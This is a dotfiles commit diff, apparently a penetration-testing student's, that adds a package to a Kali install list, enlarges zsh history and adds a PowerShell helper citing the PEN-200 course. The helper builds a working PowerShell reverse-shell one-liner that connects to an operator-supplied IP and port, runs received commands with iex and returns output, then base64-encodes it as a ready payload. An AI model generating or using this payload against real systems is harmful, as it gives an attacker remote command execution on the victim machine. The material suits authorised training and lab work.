Minor tweaks

.chezmoiscripts/linux/run_onchange_before_10_installs.sh.tmpl

@@ -44,6 +44,7 @@ packages=(
 {{ if eq .osid "linux-kali" }}
 
 sec_packages=(
+    "hurl"
     "gobuster"
     "seclists"
 )

bin/base64convert.ps1

@@ -0,0 +1,34 @@
+#!/usr/bin/env pwsh
+
+# Cf. PEN-200, 9.3.1, Listing 32 - Encoding the oneliner in PowerShell on Linux
+# https://portal.offsec.com/courses/pen-200/books-and-videos/modal/modules/common-web-application-attacks/file-upload-vulnerabilities/using-executable-files
+
+# Prompt for IP Address
+$ipAddress = Read-Host -Prompt "Enter the IP address"
+
+# Validate the IP Address
+if (-not [System.Net.IPAddress]::TryParse($ipAddress, [ref]$null)) {
+    Write-Host "Invalid IP address format. Please enter a valid IP address."
+    exit
+}
+
+# Prompt for Port Number
+$portNumber = Read-Host -Prompt "Enter the port number"
+
+# Validate the Port Number
+if ($portNumber -notmatch '^\d+$' -or $portNumber -lt 0 -or $portNumber -gt 65535) {
+    Write-Host "Invalid port number. Please enter a port number between 0 and 65535."
+    exit
+}
+
+# Construct the $Text string with variable expansion
+$Text = "`$client = New-Object System.Net.Sockets.TCPClient('$ipAddress',$portNumber);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..65535|%{0};while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){;`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()"
+
+$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
+
+$EncodedText =[Convert]::ToBase64String($Bytes)
+
+$EncodedText
+
+# Output the constructed string (for verification or debugging)
+Write-Host $EncodedText

zsh/config.zsh

@@ -12,8 +12,8 @@ setopt EXTENDED_GLOB # treat #, ~, and ^ as part of patterns for filename genera
 
 # ===== History
 HISTFILE=~/.zsh_history
-HISTSIZE=10000
-SAVEHIST=10000
+HISTSIZE=1000000
+SAVEHIST=1000000
 
 setopt APPEND_HISTORY # Allow multiple terminal sessions to all append to one zsh command history
 setopt EXTENDED_HISTORY # add timestamps to history